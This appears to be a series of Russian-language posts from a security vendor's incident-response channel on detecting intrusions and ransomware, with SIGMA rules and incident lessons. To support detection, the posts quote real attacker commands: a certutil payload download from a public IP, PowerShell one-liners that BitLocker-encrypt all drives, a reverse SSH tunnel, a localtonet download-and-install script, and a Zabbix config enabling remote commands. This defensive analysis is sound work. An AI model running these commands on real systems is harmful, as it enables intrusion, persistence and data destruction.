А помните, мы упоминали инцидент, когда атакующий получил доступ к почте сотрудника, и дождавшись переписки с аттачем, добавил вредоносный макрос в документ? Очень аккуратная атака: никаких подозрительных ссылок, никаких посторонних адресов. Просто один реальный сотрудник пишет в рассылке «пришлите ваши правки к документу», а другой сотрудник посылает в ответ тот же документ с правками. После этого в корпоративную сеть попадает бэкдор, и атакующий развивает атаку.

В рамках этого инцидента было одно событие, которое часто приводит к дискуссиям: всегда ли заход с non-Windows хоста на Windows-систему по RDP является алертом? Понятно, что так могут делать и легитимные админы. Однако подобные заходы всегда привлекают внимание ИБ-экспертов.

Как обнаружить такую активность? Это непросто:

– Вследствие различий в реализации определённых протоколов на Linux и Windows можно искать такие аномалии в трафике с помощью IDS.
– Некоторые утилиты могут оставлять артефакты в штатных событиях Windows (например, имя хоста-источника в событиях логона).
– Перспективным выглядит использование ML для определения нестандартных (новых) пользователей и источников логона на хосте. Или просто чётко заданные правила с источниками админских машин, а всё остальное – алерт.
– Лучше всего иметь инвентаризацию для обогащения источника и назначения событий ИБ типом ОС.

Остальные детали инцидента и расследования – в докладе Алины Сухановой «Взлом через MS Exchange» (OFFZONE, 23 августа, 13:40)

Мейнфреймы IBM на базе операционки z/OS могут показаться вымершими динозаврами из глубокого прошлого. Однако велики шансы, что в сердце ваших бизнес-процессов жужжат именно эти шкафы. Их можно встретить во многих крупных организациях, где требуется обработка большого количества транзакций (банки, биржи, аэропорты и др.)

Из-за высокой стоимости и узкой специализации мейнфреймы редко встречаются в проектах по анализу защищённости. Поэтому в публичном доступе очень мало знаний о том, как тестировать мейнфреймы на проникновение и как детектировать атаки на них.

Наш эксперт Денис Степанов собирает такие знания – всё, что понадобится пентестеру, чтобы получить контроль над мейнфреймом, повысить привилегии, найти возможные вектора для бокового перемещения и эксфильтровать данные:
https://securelist.ru/zos-mainframe-pentesting/110237/

Продолжаются эксплуатации 1-day уязвимости в WinRAR через социалки. Взято из самых свежих инцидентов у наших клиентов: архив с эксплуатацией CVE-2023-38831 для первоначального пробива. Более того – это самый используемый вектор по нашей статистке за прошлый год, и в этом году он тоже в ТОП-3.

Ловим такой пробив, собирая EDR-like телеметрию и/или делаем аудит запуска процессов (4688). Обращаем внимание на:
– файлы с двойным расширением и/или пробелом в расширениях: ".pdf. cmd"
– запуски от winrar-процесса дочерних исполнений: cmd, powershell, ...

Если вы увидели такое, что делать:
– Найти письмо/письма, связанные с этими подозрительными событиями,
– Идентифицировать все пересылки этих писем внутри/вне организации,
– Найти всех получателей таких писем и составить список всех хостов, где их могли открывать,
– Собрать и сохранить письма с нагрузками, а также данные, залитые на хосты после запуска нагрузки из письма,
– Запустить всё собранное в песочнице или разобрать руками, чтобы вытащить индикаторы: c2, пути, способы закрепления, ...
– Проверить все индикаторы по всей организации,
– Реагировать,
– И да, на любом этапе можно подключать внешнюю помощь по расследованию и реагированию.

В прошлом посте описывали пробив через уязвимость WinRAR, который используется многими атакующими в этом году. Например, хакерская группировка Head Mare часто применяет такую технику для компрометации своих жертв.

С деталями работы этой группировки, атакующей компании в России и Беларуси, можно ознакомиться в отдельном отчёте наших коллег. А здесь мы сконцентрируемся на таком интересном вопросе: какой самый дешёвый способ обнаружить атаку Head Mare до этапа влияния?

На этапе разведки (при включённом журналировании командных строк или EDRе) мы увидим вот такие команды:

cmd /c “echo %USERDOMAIN%”
arp -a
cmd /c “cd /d $selfpath && whoami”
cmd /c “cd /d $appdata && powershell Get-ScheduledTask -TaskName “WindowsCore””

Чтобы установить, насколько критичны подобные события и как далеко продвинулся атакующий в инциденте, необходимо посмотреть:
– привилегии пользователя, от которого запускали команды,
– что потенциально могло утечь из памяти (lsass) и/или hive-ов реестра с кредами.

Если есть привилегированные пользователи домена, то оперативность и размах реагирования должны быть масштабными: например, не просто саспенды и смена паролей пользователям, а отключение сетевой связности. И самое главное – необходимо сразу начинать восстанавливать хронологию атаки до первоначального пробива.

Безусловно, это не весь арсенал команд из разведки – пример большого списка смотрите здесь. Но мы отметили самые распространённые команды, которые будут использованы для первого получения доступа.

Среди интересных инцидентов прошлого года – выявлен очень незаметный способ закрепиться и латерально перемещаться. Небольшое количество изменений в системе, вне поверхности обычного абузного легитимного win-based и под покрывалом обычного софта.

Атакующие приносят нагрузки:

certutil.exe -urlcache -split -f hxxp://<Public IP>/<file with payload>

Используют возможности популярной системы мониторинга Zabbix с конфигурацией, разрешающей удалённое выполнение команд:

EnableRemoteCommands=1
LogFile=0
Server=0.0.0.0/0
ListenPort=5432

Для Zabbix-агентов на фаерволе злоумышленники открывают порт 5432 с красивым и правильным именем PGSQL.

В результате использования этих техник атакующие, очень похожие на группировку Flax Typhoon, более двух лет остаются незамеченными в системе – пока не приходят эксперты по реагированию на инциденты. Подробнее об этой атаке, а также о других интересных инцидентах, расследованных нашими коллегами в прошлом году:
https://securelist.com/incident-response-interesting-cases-2023/113611/

Говорят, в нашей индустрии не хватает SOC-аналитиков. Может быть, молодёжь просто не знает, что это за зверь? На этот случай наш эксперт Сергей Солдатов написал подробное разоблачение мифов о работе в SOC.

Если вкратце, SOC-аналитик – это хороший способ войти в сферу ИБ. Но способ достаточно требовательный к кругозору: от хардовых инженерных скиллов до софтовых коммуникационных (см. скриншот).

В комментариях к статье возник интересный вопрос: если джуниор может за четыре года вырасти до тимлида, то через несколько лет в компании будет множество новых кандидатов в тимлиды. Куда же девать старых тимлидов?

Мнение Сергея по этому вопросу читайте на Хабре. Мы же здесь добавим лишь один совет: смотрите на диаграмму карьерного пути и дорисовывайте дуги в другие организации (существующие или новые). Мы за здоровую конкуренцию. Да и вообще путь настоящего самурая – открыть свой собственный бутик или ресторан.

Многие эксплоиты для локального повышения привилегий в Windows используют следующую комбинацию:
1. Заставить привилегированный сервис записать что-то в Named Pipe, подконтрольный атакующему.
2. Имперсонировать LocalSystem с помощью WinAPI ImpersonateNamedPipeClient.

Для осуществления первого шага атакующие часто используют RPC вызовы (например, RpcRemoteFindFirstPrinterChangeNotification, EfsRpcOpenFileRaw, NetrFileGetInfo, и т.п.). Однако предполагается, что привилегированные сервисы будут взаимодействовать с известными служебными Named Pipes, такими как \\.\pipe\spoolss, \\.\pipe\efsrpc, \\.\pipe\srvsvc и т.п. Каким же образом атакующие получают контроль над системными пайпами?

Никаким. В ОС Windows существует особенность интерпретации hostname в RPC вызовах: если хостнейм содержит прямой слеш /, то само поле пройдет валидацию, слеши преобразуются в обратные, а имя пайпа будет считаться от окончания реального hostname. То есть если вызов должен писать в \\.\pipe\spoolss, то при указании HOSTNAME как HOSTNAME/pipe/testtest, вызов будет писать в пайп \\HOSTNAME\pipe\testtest\pipe\spoolss.

Мы можем детектировать все такие методы на одном общем свойстве, которое атакующие не могут изменить – строка pipe встречается в названии создаваемого пайпа два раза. Есть два способа реализации такого ханта:
1. Детектировать, если подстрока pipe встречается в имени пайпа два раза (или один раз, в зависимости от телеметрии: например, 17 событие Sysmon обрезает начальное \\.\pipe). Но этот способ может привести к ложным срабатываниям, поскольку существует софт, который создает пайпы со строкой pipe в середине имени.
2. Детектировать создание пайпов по формату [буквы или цифры]\pipe\<системное_имя>. Это потенциально покрывает меньшее количество сценариев, однако значительно сокращает вероятность ложных срабатываний.

Делимся двумя готовыми SIGMA-правилами из нашего SIGMA feed:

title: Privilege Escalation Named Pipes (potato attacks) exact
id: 4d945de4-4bce-416c-b84c-693a563af091
status: stable
description: This rule detects named pipes created by  
tags:
    - attack.privilege_escalation
    - attack.t1068
author: Kaspersky
logsource:
    product: windows
    category: pipe_created
detection:
    selection:
        PipeName|re: 
         - '.*[a-zA-Z0-9]\\pipe\\epmapper'
         - '.*[a-zA-Z0-9]\\pipe\\lsass'
         - '.*[a-zA-Z0-9]\\pipe\\samr'
         - '.*[a-zA-Z0-9]\\pipe\\initshut'
         - '.*[a-zA-Z0-9]\\pipe\\ntsvcs'
         - '.*[a-zA-Z0-9]\\pipe\\scerpc'
         - '.*[a-zA-Z0-9]\\pipe\\sql\\query'
         - '.*[a-zA-Z0-9]\\pipe\\MSSQL\$.+?\\sql\\query'
         - '.*[a-zA-Z0-9]\\pipe\\netlogon'
         - '.*[a-zA-Z0-9]\\pipe\\spoolss'
         - '.*[a-zA-Z0-9]\\pipe\\atsvc'
         - '.*[a-zA-Z0-9]\\pipe\\netdfs'
         - '.*[a-zA-Z0-9]\\pipe\\eventlog'
         - '.*[a-zA-Z0-9]\\pipe\\termsrv'
         - '.*[a-zA-Z0-9]\\pipe\\TSVCPIPE-.*'
         - '.*[a-zA-Z0-9]\\pipe\\svcctl'
         - '.*[a-zA-Z0-9]\\pipe\\DAV\sRPC\sSERVICE'
         - '.*[a-zA-Z0-9]\\pipe\\srvsvc'
         - '.*[a-zA-Z0-9]\\pipe\\wkssvc'
         - '.*[a-zA-Z0-9]\\pipe\\browser'
    condition: selection
falsepositives: Unlikely
level: high

title: Privilege Escalation Named Pipes (potato attacks)
id: 8294ec37-a4cf-40d7-8a3f-0e0fea8fe6e9
status: stable
description: This rule detects named pipes created by  
tags:
    - attack.privilege_escalation
    - attack.t1068
author: Kaspersky
logsource:
    product: windows
    category: pipe_created
detection:
    selection:
        PipeName|re: '.*[a-zA-Z0-9]\\pipe\\.+'
    condition: selection
falsepositives: Legitimate software (e.g. Avaya) might do this.
level: high

Мы уже рассказывали, что вымогатели любят использовать Bitlocker для шифрования своих жертв. Этот инструмент установлен практически на всех современных ОС Windows, является легитимной компонентой ОС (не детектируется антивирусами), надёжно шифрует диски (без ключа расшифровать невозможно) и сильно затрудняет расследование атаки, поскольку все криминалистические артефакты (журналы ОС, реестр, файловая система) оказываются полностью зашифрованными.

А ещё Bitlocker может быть активирован удалённо с помощью простой PowerShell-команды. Мы встречали использование таких команд:

$Drives=Get-PSDrive -PSProvider FileSystem;foreach($Drive in $Drives) { $Drive=$Drive.Name+':';$PlainPassword='<пароль>'; $SecurePassword = $PlainPassword | ConvertTo-SecureString -AsPlainText -Force;  enable-bitlocker -Pin $SecurePassword -Mount $Drive -TPMandPinProtector -skiphardwaretest -UsedSpaceOnly}

$Drives=Get-PSDrive -PSProvider FileSystem;foreach($Drive in $Drives) { $Drive=$Drive.Name+':';$PlainPassword='<пароль>'; $SecurePassword = $PlainPassword | ConvertTo-SecureString -AsPlainText -Force;  enable-bitlocker -password $SecurePassword -Mount $Drive -PasswordProtector -skiphardwaretest -UsedSpaceOnly}

if (Get-Command Get-ClusterResource -errorAction SilentlyContinue) { foreach($Cluster in Get-ClusterResource) { Suspend-ClusterResource $Cluster; $PlainPassword='<пароль>'; $SecurePassword = $PlainPassword | ConvertTo-SecureString -AsPlainText -Force;  enable-bitlocker  $Cluster.SharedVolumeInfo.FriendlyVolumeName -password $SecurePassword -PasswordProtector -skiphardwaretest -UsedSpaceOnly; Resume-ClusterResource $Cluster} }

Что делать защите? Во-первых, с помощью групповой политики можно включить сохранение ключей расшифровки Bitlocker в Active Directory. Однако, если злоумышленники получили права доменного админа, то они могут отключить эту настройку.

Во-вторых, чтобы детектировать подобную атаку, нужно отслеживать в EDR/SIEM запуск командлета enable-bitlocker и утилиты manage-bde.exe.

Больше подробностей о техниках вымогателей и о методах борьбы с ними – в докладе Григория Саблина на Volga CTF (Самара, 18 сентября).

Бывало ли у вас так, что в логах веб-приложения начинают появляться запросы к несуществующим путям? А может, бывало даже так, что ваше приложение начинает на них отвечать что-то непонятное? И даже делает запросы ко внутренним ресурсам? Такое было возможно в прошлом, но если вы следуете всем лучшим практикам миркосервисной архитектуры, то вы должны быть защищены от подобного. Или нет?

Если вы при этом ещё и видите в своей системе детекта создание файлов вида /tmp/.java_pid17234 и .attach17234, то выбирайте плейбук по реагированию с воблой: вас заливают PIWAS-ом. Это новая тулза по загрузке шеллов и соксов в память процессов для пентестеров – Process Injected Webshell And Socks.

Объяснение этой и других похожих техник эксплуатации вы можете услышать завтра, в докладе Павла Топоркова на VolgaCTF (Самара, 17 сентября, 15:00).

В отчётах об атаках различные хакерские группировки обычно описываются поодиночке: пришёл атакующий, использовал такие-то техники, на основе этих техник и артефактов атрибутируем атаку к такой-то APT.

Но на практике всё бывает не так однозначно. Вот пример из наших недавних расследований. На одной из машин пострадавшей организации всплывают:

– бэкдоры алледжидли-азиатской APT,
– запуск SSH-туннелей, форвардящих порт RDP; в одном случае сервер управления пересекается с сервером управления алледжидли-азиатского бэкдора,
– инструменты для извлечения паролей,
– явление шифровальщика, а его операторы подключаются через SSH-туннель:

vmhost.exe -C -N -R 443:<internal_ip>:3389 root@<external_ip> -P 80 -pw <password> -v

Однако алледжидли-азиатская APT, которой принадлежат бэкдоры, никогда не занималась вымогательством. Они просто шпионили за своей целью в течение последних 4 лет. Необычная сюжетная арка.

Мы пробили, какие сервисы доступны из публичных сетей на сервере управления той самой APT-группы. Там торчал наружу RDP пострадавших. А вот брутфорс-атака на RDP – это уже характерное поведение для операторов шифровальщика, с которым мы столкнулись. То есть вторая группа атакующих (вымогатели) насканили RDP-порт жертвы на инфре первоначальных атакующих (алледжидли-азиатская APT) и сбрутили его.

Мораль: Не выкидывай RDP в публичные сети, даже если ты – шпиён 😊

Вымогатели, использующие Lockbit и Babuk, расширили набор инструментов для организации сетевого доступа во внутреннюю сеть жертвы извне. В новой серии ransomware-атак замечено использование localtonet (localtonet[.]com). Этот инструмент даёт очень удобные фичи атакующим: оператор может удалённо выбирать, к какому сервису и на какой системе внутри сети нужно организовать доступ извне.

Настоятельно рекомендуем проверять такие сетевые индикаторы:
  localtonet[.]com
  *.localtonet[.]com
  *.localto[.]net

Можно проверять запуски в командных строках и процессах по названиям бинарей – атакующие используют ванильные архивы от разработчика софта. Пример скрипта Powershell по установке localtonet на скомпрометированной системе:

powershell iwr http[://]localtonet[.]com/download/localtonet-win-64.zip -outfile ltn.zip -usebasicparsing; 
expand-archive -force -path ltn.zip -destinationpath C:\Windows\Temp; 
iwr http[://]localtonet[.]com/nssm-2.24.zip -outfile nssm.zip -usebasicparsing; 
expand-archive -force -path nssm.zip -destinationpath C:\Windows\Temp; 
C:\Windows\Temp\nssm-2.24\win64\nssm.exe install Win32_Serv C:\Windows\Temp\localtonet.exe authtoken <token>; 
C:\Windows\Temp\nssm-2.24\win64\nssm.exe start Win32_Serv; 
rm nssm.zip; 
rm ltn.zip;

Если подобная активность обнаружена, стоит реагировать по плейбуку борьбы с шифровальщиком – то есть максимально оперативно.

Пароли в командных строчках

Пароли в командных строках – это небезопасно. Командные строчки логгируются в открытом виде (bash_history, powershell), в общем, не считаются конфиденциальной информацией, а, следовательно, операционные системы не обеспечивают для них должный уровень безопасности, как для пароля, поэтому наличие пароля в командных строках – это уязвимость, и в инфраструктурах с адекватными командами ИТ, скорее, аномалия. Тем не менее, по требованиям безопасности, можно ожидать пароли в командных строках, поэтому в решениях *DR может существовать какая-либо автоматика для маскирования паролей в командных строчках.

Понимая очевидную проблему безопасности в передаче пароля в командной строке, производители инструментов, тем не менее, предлагают такой функционал. И этим функционалом, в том числе, пользуются и злоумышленники, что позволяет их эффективно обнаруживать и расследовать, а иногда и нивелировать ущерб от их действий. Приведу пару случаев из практики.

Пароль атакующего для обнаружения скомпрометированных систем
В одном из инцидентов атакующий использовал подломанную сервисную УЗ (пароль, хороший, стойкий, случайный, в открытом виде был взят из конфигов) для сбора информации BloodHound-ом, команда выглядела примерно так:
<...> Invoke-StandardCollector –c DcOnly –d domain.corp –prettyjson –nosavecache –ldapusername user_name –ldappassword user_password

В этом инциденте задачу обнаружения всех машинок присутствия атакующего я решил очень просто – поиском по командным строчкам, содержащим подломанный пароль. В целом, можно было искать и по подломанной УЗ, но находились еще и некоторые задачи по расписанию, куда пароль подсовывался более безопасным способом и поэтому не светился в командной строке, а вот пароль в открытом виде в строчку забивал только атакующий.

Описанный фокус работает и с другими излюбленными инструментами атакующих – psexec, paexec, impacket, rdesktop, evil-winrm и т.п.


Пароль атакующего для снятия последствий ущерба
Шифровальщики – тип инцидента №1 с которым приходят за расследованием. Про шифровальщики есть масса публикаций (ну..., можно Ладу послушать, например, там профиль SMB, но для общего понимания – то, что надо; и Канарейки про них постоянно пишут, ну больше всех публикаций, конечно же у ЛК, один из свежих), но надо понимать следующие современные особенности:
– Непосредственно работе шифровальщика предшествует человекоуправляемая атака
– Обычно начинают запускать шифровальщик, когда сеть уже поломана, например, взят домен и шифровальщика раскатывают групповыми политиками или через корпоративные системы инвентаризации и управления типа SCCM или какие-то управляющие сервера (для целей унижения любят использовать сервера управления систем безопасности, которые, очевидно, как и все, в домене, а следовательно, скомпрометированы)
– Часто шифруют легитимные инструментами, типа Bitlocker, VeraCrypt, Kryptor, DiskCryptor и т.п.
– Либо используют кастомизированные сборки популярных Babuk, Conti, LockBit, Chaos, Xorist и т.п., а если мешает EPP, то его выносят разными способами в рамках человекоуправляемости атаки (часто используются легитимные методы, так как нелегитимные - шумные и блокируются, поэтому пока вынесут, ребят успеют локализовать)

В одном из инцидентов злоумышленник для шифрования использовал Bitlocker, команда выглядела примерно так:
manage-bde -on C: -rp very_long_random_recovery_password -sk C:\ -s -used -RemoveVolumeShadowCopies

Пароль восстановления доступен непосредственно в командной строке...

#MDR

И снова ловим вымогателей, использующих связку Lockbit и Babuk. В новом инциденте атакующие получили доступ во внутреннюю сеть жертвы (организация А) через атаку Trusted Relationship (T1199) и закрепили в сети уже известный нам инструмент для туннелирования трафика – localtonet. В процессе разведки инфраструктуры атакующие обнаружили в том же сетевом сегменте домены ещё двух организаций B и С, где домены оказались с доверительными отношениями. Так злоумышленники получили учётки из доменов организаций B и С.

Но атакующие не успели пошифровать организацию А: её защитники вовремя заметили подозрительную активность и экстренно отреагировали (погасили сетку). Заподозрив неладное, атакующие попытались развить атаку в другом направлении. В этом им помогли собранные учётки из домена организации B, а также VPN без второго фактора. Атакующие незаметно закрепили на одной системе организации B новые инструменты для туннелирования: cloudflared и gost.

Однако быстрые коммуникации между организациями A, B и С, а также знания об атаке на A и новые подробности из B и С позволили остановить атаку до импакта – то есть оперативно повыключать всё, что могло зашифроваться, и в рабочем режиме исправлять-защищать инфру. План шифровальщиков на этот раз не сработал.

А вы готовы к таким выкрутасам? Проверьте эти индикаторы:

argotunnel[.]com
*.argotunnel[.]com

KRBUACBypass — это инструмент, позволяющий обходить механизм защиты User Account Control (UAC) в Windows, используя уязвимости в работе с билетами Kerberos. Атака основана на добавлении поддельной записи KERB-AD-RESTRICTION-ENTRY в сервисный билет, что позволяет получить привилегии уровня SYSTEM через доступ к службе диспетчера контроля служб (SCM) с использованием аутентификации Kerberos.

Процесс эксплуатации включает:
1. Получение TGT пользователя через метод делегирования (Tgtdeleg).
2. Запрос сервисного билета с поддельным MachineID.
3. Использование этого билета для взаимодействия с SCM и создания службы, работающей с привилегиями SYSTEM.

Как детектировать атаку:

В нормальных условиях при доступе пользователя к локальным сервисам в Windows используется токен безопасности, связанный с его сеансом, а не Kerberos-билеты. Пользователь аутентифицируется при входе в систему, и система создаёт токен доступа, содержащий информацию об учётной записи, группах и привилегиях пользователя.

А теперь посмотрим, что запрашивается для повышения привилегий при использовании KRBUACBypass (см. скриншот). Здесь запрашивается пересланный TGS-билет для локального сервиса HOST/gam-win10 от имени текущего пользователя, и этот билет помещается в кеш билетов. Это делается для обхода контроля учётных записей пользователей (UAC) и повышения привилегий без отображения UAC-подтверждения.

Но такое действие является аномалией, потому что:
— Пользователи обычно не запрашивают билеты для доступа к локальным сервисам (см. выше про токен безопасности).
— Флаги билета, такие как forwarded и forwardable, указывают на то, что билет был переслан. А сервис для этого билета "местный". Также отметим, что в TGT для сессии иные флаги. Для локальных сервисов это нехарактерно и может свидетельствовать о попытке обхода механизмов безопасности.

Поэтому обнаружение в кеше пользователя пересланного TGS-билета для локального сервиса HOST/gam-win10, особенно с флагами forwarded и forwardable, позволяет засечь использование KRBUACBypass или подобной техники для несанкционированного повышения привилегий.

Как многократно подтверждено на практике, атакующие не меняют свои ТТР, если они сохраняют результативность. Поэтому, в рамках активного поиска угроз (Threat hunting) разумно в первую очередь проверять техники и инструменты, которыми атакующие пользовались ранее. А это, в свою очередь, определяется возможностями по анализу данных об угрозах (Threat Intelligence).

А кто именно будет атаковать? На этот вопрос тоже может ответить качественная TI. Ведь серьёзные атакующие, как правило, имеют специализацию. Поэтому, фокусируя Threat hunting на кластеры активности, релевантные заданной индустрии и географической локации, наш SOC имеет возможность значительно сократить объём хантинга, повышая его эффективность.

Вы тоже можете оценить такой подход, используя новый инструмент Threat Landscape, который появился на нашем портале сервисов киберразведки: собранные экспертами данные об угрозах разложены на применяемые TTP в нотации MITRE ATT&CK, в соответствии с профилями замеченных жертв. Подробнее о том, как этот инструмент помогает командам SOC, расскажем на вебинаре – 25 октября, 11:00 МСК.

Однажды мы рассказывали, как повышают привилегии через Active Directory Certificate Services (ADCS). Тогда была атака ADCS ESC13, недавно появилась ADCS ESC15. Другие ESCx тоже интересные, но про них – в другой раз.

А в технике ADCS ESC15 главное: уязвимые шаблоны сертификатов 1-й версии схемы с возможностью указать subjectAltName (SAN) в CSR. Для эксплуатации нужна доменная учётка с правами Enroll на уязвимый шаблон.

Например, один из встроенных уязвимых шаблонов – WebServer (Version:1 и CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT). По умолчанию, запрашивать сертификаты с этим шаблоном могут только Domain- и Enterprise- администраторы. Но по нашему опыту, пользователи часто меняют права на этот шаблон, и нередко можно встретить там даже Authenticated Users.

Суть эксплуатации: при наличии у сертификата расширения Application Policies и Extended Key Usage (EKU), домен-контроллер предпочтёт верить EKU из Application Policies. Это значит, что при запросе сертификата, используя уязвимый шаблон, атакующий может добавить EKU «Client Authentication» в поле Application Policies, добавить администратора домена в SAN и, получив сертификат, успешно запросить TGT для этого администратора. Получается очень похоже на технику атаки ESC1. Единственное ограничение – это возможность аутентификации только по schannel на LDAP.

Также атакующий может добавить EKU «Certificate Request Agent» в поле Application Policies и использовать полученный сертификат для запроса ещё одного, но уже на любого пользователя, как это реализовано в технике ESC3. Либо добавить "Code Signing" в Application Policies и использовать сертификат для подписи файлов.

Как детектировать уязвимые шаблоны и что делать после – читайте в статье Дмитрия Щетинина.

Групповые политики в Windows (Group Policy Objects, GPO) дают админам возможность контролировать настройки пользователей и компьютеров в доменной среде. Но эта же фича в руках злоумышленников позволяет проводить различные атаки. Самый распространенный сценарий, который мы наблюдали – массовый деплой шифровальщика на множество хостов.

Также групповые политики могут использоваться для скрытного закрепления в домене, после чего атакующие могут делать всё, что угодно. Например, инструмент SharpGPOAbuse позволяет через GPO создавать новые пользовательские задачи в планировщике (см. скриншот), повышать привилегии, добавлять скрипты автозапуска и т.д.

Главные модификации при этом происходят в шаблоне групповой политики (Group Policy Template, GPT), что расположен на SysVol – там изменяются атрибуты gPCMachineExtensionNames и gPCUserExtensionNames.

Если атакующий не может получить доступ к SysVol из-за отсутствия прав на изменение GPT, он может изменить атрибут gPCFileSysPath, указав путь до подконтрольного ему сетевого ресурса. Тогда все клиенты, на кого распространяется политика, будут идти на данный ресурс. Подобный функционал даёт инструмент GPOddity. Он поднимает собственный SMB-сервер, где создает вредоносные политики, после чего изменяет путь до GPT, а после применения политик восстанавливает старые из своего бэкапа.

Как детектировать: следите за модификацией атрибутов gPCMachineExtensionNames, gPCUserExtensionNames и gPCFileSysPath через событие 5136 на изменение объектов AD.

Подробности и SIGMA-правила для обнаружения вредоносных групповых политик – в статье Глеба Иванова.

В прошлом посте мы рассказали, как детектировать атаки на основе компрометации групповых политик (GPO). А теперь о том, как обеспечить проактивный мониторинг групповых политик в SOC.

Во-первых, не всегда попадаются хосты с включенным расширенным аудитом Windows. Там, где это возможно, используйте ETW-провайдеры. А где не получается обойтись одним ETW – расширяйте покрытие телеметрии.

К примеру, чтобы отвязаться от события 5136, что требует настройки аудита «Изменения в службе каталогов», наш эксперт Александр Родченко разработал утилиту GCNet. Этот инструмент работает на основе PoC по мониторингу изменения служб каталогов, описанным Microsoft.

Утилита GCNet биндится к базе LDAP, где надо указать поиск по определенному distinguishedName (в нашем случае это CN=Policies) и подписаться на любые его изменения. Данный функционал выступает триггером для того, чтобы запросить GPO, где выводится информация с GPC и GPT (см. скриншот выше).

Дальше событие прогоняется по детектирующим правилам. Одним из важных атрибутов политики являются опции GPLink и флаги политики. Политики с флагом Enforced имеют приоритет перед остальными и будут применены раньше, и они не могут быть переписаны другой политикой. Есть ещё несколько флагов, зная которые, можно понять, включена политика или нет.

Совокупность всех атрибутов также дает дополнительную информацию о том, сколько времени есть на реагирование, пока не применится групповая политика (по умолчанию политики обновляются каждые 90 минут, плюс-минус 30 минут с джиттером на клиентских машинах, и каждые 5 минут на домен-контроллере). Также по этим атрибутам можно увидеть, где и как политика применяется, что значительно расширяет картину расследования.

Типичный инцидент нашего времени – утечка через облачный сервис. В ряде кейсов, которые расследовали наши эксперты, конфиденциальные документы клиентов утекали через популярное облачное хранилище Google Drive.

Реагирование на подобный инцидент требует собрать множество специфических артефактов. Нужно узнать, какие пользователи в сети клиента инсталлировали у себя приложение для работы с облачным хранилищем (Google Drive for Desktop, ранее Google Drive File Stream), в какие аккаунты они логинились, с какими файлами работали, какие данные можно собрать об удаленных файлах, и др.

Наш коллега Амжед Ваги (Amged Wageh) создал инструмент DriveFS Sleuth, который позволяет автоматизировать сбор артефактов при расследовании утечек или распространения малвары через Google Drive.

Утилиту можно скачать на Гитхабе, а также в виде Python-пакета на Pypi.org. Функционал утилиты включает:

– восстановление синхронизированных файлов с детальными метаданными, даже если файлы не остались в локальном кэше,
– выявление удалённых файлов, даже если они были удалены из базы,
– выявление подключенных устройств с их настройками и GUIDs,
– поиск по именам файлов и папок, по MD5-хэшам и регулярным выражениям (regex),
– генерацию подробных отчётов в формате HTML или CSV.

Более подробно о сборе артефактов использования Google Drive и о функционале DriveFS Sleuth автор утилиты расскажет на BlackHat MEA (Мальхам, Саудовская Аравия, 28 ноября).

В декабре принято публиковать разные итоговые обзоры и топы событий. Мы тоже решили составить свой топ, на основе практики расследований и реагирований на инциденты в 2024 году: НЕлучшие практики во время инцидента. Избегание этих ошибок сильно поможет и пострадавшим, и тем, кто будет расследовать.

(1) Использование потенциально скомпрометированных каналов связи.

Не спешите писать про инцидент в корпоративных каналах коммуникации (пока эта информация не стала общедоступной). Если злоумышленники могут читать вашу почту с перепиской про расследование, они будут на шаг впереди.

Это касается и мессенджера Telegram, клиент которого может быть установлен на рабочей машине в скомпрометированном домене. Даже если вы твёрдо уверены, что вашу телегу не читают, это ещё не значит, что злоумышленники не читают телеги всех 30+ человек из чата по инциденту.

Вообще, делиться данными по своим инцидентам – очень полезная практика для сообщества. Но лучше делать это после, а не время расследования.

(2) Поспешное удаление вредоносного ПО.

«Наш инцидент – это зловредный файл на компьютере. Удалили файл – забороли инцидент». Ошибочная логика. Вредонос конечно заслуживает наказания, но для начала нужно восстановить хронологию событий: как он попал в инфраструктуру, что он там делал, есть ли вредоносное ПО на других хостах сети.

Потому что инцидент ещё не исперчен: заметив потерю коннекта к одному вредносу, злоумышленники могут подключиться через другой. И даже если вы удалили все обнаруженные вредоносы, атакующие уже могли собрать креды – и теперь могут подключаться к вам по штатным каналам - RDP, VPN...

(3) Слишком быстрое восстановление бизнес-процессов.

Конечно, всем хочется поскорее вернуться в строй. Однако необходимо собрать артефакты: файлы, журналы и другие данные для расследования. Не знаете, что это? Снимите побитовую копию (FTK Imager, dd). Не сделали? Скорее всего придётся показывать эффективность в восстановлении бизнеса ещё раз, как минимум.

Поспешная переустановка поломанных систем – типичная ситуация, при которой уничтожаются артефакты, что мешает восстановлению картины инцидента.

Ещё более неприятные последствия влечёт за собой поспешное восстановление из бекапов, которые уже были скомпрометированы на момент создания (что было подтверждено много раз в инцидентах этого года). Бэкап может быть заражён, в нём могут быть те же уязвимости, которые ранее использовал злоумышленник, или старые пароли, которые не сменили. Если вы будете восстанавливаться до того, как выяснили детали инцидента – вы просто дадите атакующим инфру под повторное злодеяние (например, вас снова зашифруют).

(4) Непредсказуемое выполнение рекомендаций специалистов по реагированию.

Например, просьба выключить всю коммуникацию между внутренними корпоративными сетями и внешними сетями может подразумевать множество действий (отключить пользователей, отключить онлайн-сервисы организации, отключить удаленный доступ админов, подрядчиков и т.д.). Клиенты могут понять задачу по-разному – и выполнить только часть этих действий.

Плохо сформулирована рекомендация? Потребуйте переформулировать. Нет компетенций выполнить рекомендации? Попросите инструкцию. Нет времени? Попросите помощи. Не откладывайте в долгий ящик – он не такой уж долгий.

(5) Проведение пентеста для купирования инцидента попыткой обнаружить "путь" злоумышленника.

Пентест может внести много дополнительного шума (детекты СЗИ; файлы/персистенс и т.д.) и затереть полезные артефакты. Поэтому лучше сделайте расследование инцидента вместо анализа защищенности во время инцидента.

В прошлом посте мы собрали типичные ошибки, которые могут сделать пострадавшие от инцидента до завершения расследования. Оказалось, что аналогичный список «нелучших практик» есть у коллег из Solar 4rays – они делали такой доклад на SOC Forum (видео). Теперь вы можете сравнить эти два списка популярных косяков и составить из них общий анти-плейбук для своих клиентов.

А мы тем временем покажем вам топ ошибок с другой стороны. Ведь даже те, кто профессионально занимается реагированием, иногда ошибаются. Поэтому наш следующий список вредных советов – чего не нужно делать специалистам по реагированию на инцидент:

(1) Собирать данные с систем, которые не были изолированы. Злоумышленники могут обнаружить триаж и вытащить из него чувствительную информацию. Атакующие могут изменить состояние системы (например, добавить персистенс) после создания триажа.

(2) Запускать подозрительные файлы на виртуалках с доступом в Интернет: злоумышленники поймут, что их действия анализируют. А ещё к злоумышленникам может утечь содержимое примонтированных к виртуалке шар (а вдруг там файлы с другого инцидента?). Поэтому сначала лучше определить основной функционал файла в виртуалке без доступа к Интернету или путём проведения статического анализа.

